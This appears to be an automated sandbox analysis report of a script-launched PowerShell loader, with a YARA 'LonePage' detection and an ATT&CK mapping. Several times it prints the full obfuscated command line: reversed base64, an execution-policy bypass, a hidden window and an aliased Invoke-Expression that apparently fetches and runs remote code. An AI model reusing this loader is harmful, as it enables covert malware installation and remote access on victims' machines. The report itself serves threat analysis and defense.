Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00007FFD9B880952 push E95AD9D0h; ret

1_2_00007FFD9B8809C9

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4509			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5329			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628

Thread sleep time: -15679732462653109s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000001.00000002.2582012852.000001421DADD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;

Source: C:\Windows\System32\wscript.exe

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==qf7ksewjhzkwyj2g2cljnzlj3lzvwdsfmdvkgch9ccvh2cucxzpz3zvxmyv8iozbhd0h2joegdhrgzh9gbwvnlrpwdksjnxacclvgbz1cdyfgdztdduvwasnmyldnl0vmbgq3ylpmyv1ydl5wprpwdksdmxacclvgbz1cdyfgdzttf7kybkpmykgyclrxecrxzh5comrxv6otxn5wak92yuvml0hxz05sblr3c5n3w9khcyrgjd11wlrxeit1on5wayr3ctqxdpxnbihgj9sybkpmyksjcrpgjggvrj1jbihgj7umbpx0dl5ko60fduvwbu9mcpznbf5sblr3c5n1wrkccprckzv2czvmckrwq0n3birxzhpjodnnbe5cdl5kltvgdzl3ub1zkvrmairyon0tpn0zkvrmairyop1wyvh2d98gzqjgj7v2csvwf7i3aqrciyvus9khcyrgjg0vxbvgd5j2w7lyj05wz052bj1cdld2jgg2y0fwbtaicrpgjoywa7ksbszgjocmbpjhdtrxzn5comrxd6otxn5wak92yuvml0hxz05sblr3c5n3w9i3aqryepedi0dwlgggdn5wzm5sbszgjoywa7kyyyrykn8inonxzyzwzy9im3ydn2ktn1uzn5utm3cdoxcjn48yclvhbhz3lpbxyva3bonnl3vwa2d2bsj2lvozcwrhdodckhrxykrwyvxmb39gzuswaprsptxmzkszj0hhduccirask99fjdjxyon2wgshi0nwzqj2btg2yhvmcvzgi8bsk1edi4fwbtasng4wat1cit9gzufmctqxznbck05wdvnwlg02bk5wyy1cdldgi8bsk3ujlugdnogciul2bq1ci9ayyyryo05wzpx2yiv2duqxzubcdjvmai9wl3vmb9swapryoxediwvwzsnxl0jxy0n3opmdnggxyt1ci1aibp1wlg02bk5wyy1cdldgkgaxzlx2ctqnchr3c7kzmgaxzlx2ctqnchr3c' ;$base64 = $best64code.tochararray() ; [array]::reverse($base64) ; -join $base64 2>&1> $null ;$loadcode = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($base64)) ;$pwn = 'inv'+'oke'+'-ex'+'pre'+'ssi'+'on' ; new-alias -name pwn -value $pwn -force ; pwn $loadcode ;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==qf7ksewjhzkwyj2g2cljnzlj3lzvwdsfmdvkgch9ccvh2cucxzpz3zvxmyv8iozbhd0h2joegdhrgzh9gbwvnlrpwdksjnxacclvgbz1cdyfgdztdduvwasnmyldnl0vmbgq3ylpmyv1ydl5wprpwdksdmxacclvgbz1cdyfgdzttf7kybkpmykgyclrxecrxzh5comrxv6otxn5wak92yuvml0hxz05sblr3c5n3w9khcyrgjd11wlrxeit1on5wayr3ctqxdpxnbihgj9sybkpmyksjcrpgjggvrj1jbihgj7umbpx0dl5ko60fduvwbu9mcpznbf5sblr3c5n1wrkccprckzv2czvmckrwq0n3birxzhpjodnnbe5cdl5kltvgdzl3ub1zkvrmairyon0tpn0zkvrmairyop1wyvh2d98gzqjgj7v2csvwf7i3aqrciyvus9khcyrgjg0vxbvgd5j2w7lyj05wz052bj1cdld2jgg2y0fwbtaicrpgjoywa7ksbszgjocmbpjhdtrxzn5comrxd6otxn5wak92yuvml0hxz05sblr3c5n3w9i3aqryepedi0dwlgggdn5wzm5sbszgjoywa7kyyyrykn8inonxzyzwzy9im3ydn2ktn1uzn5utm3cdoxcjn48yclvhbhz3lpbxyva3bonnl3vwa2d2bsj2lvozcwrhdodckhrxykrwyvxmb39gzuswaprsptxmzkszj0hhduccirask99fjdjxyon2wgshi0nwzqj2btg2yhvmcvzgi8bsk1edi4fwbtasng4wat1cit9gzufmctqxznbck05wdvnwlg02bk5wyy1cdldgi8bsk3ujlugdnogciul2bq1ci9ayyyryo05wzpx2yiv2duqxzubcdjvmai9wl3vmb9swapryoxediwvwzsnxl0jxy0n3opmdnggxyt1ci1aibp1wlg02bk5wyy1cdldgkgaxzlx2ctqnchr3c7kzmgaxzlx2ctqnchr3c' ;$base64 = $best64code.tochararray() ; [array]::reverse($base64) ; -join $base64 2>&1> $null ;$loadcode = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($base64)) ;$pwn = 'inv'+'oke'+'-ex'+'pre'+'ssi'+'on' ; new-alias -name pwn -value $pwn -force ; pwn $loadcode ;			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LonePage

Source: Yara match	File source: 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR

Remote Access Functionality

Yara detected LonePage

Source: Yara match	File source: 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
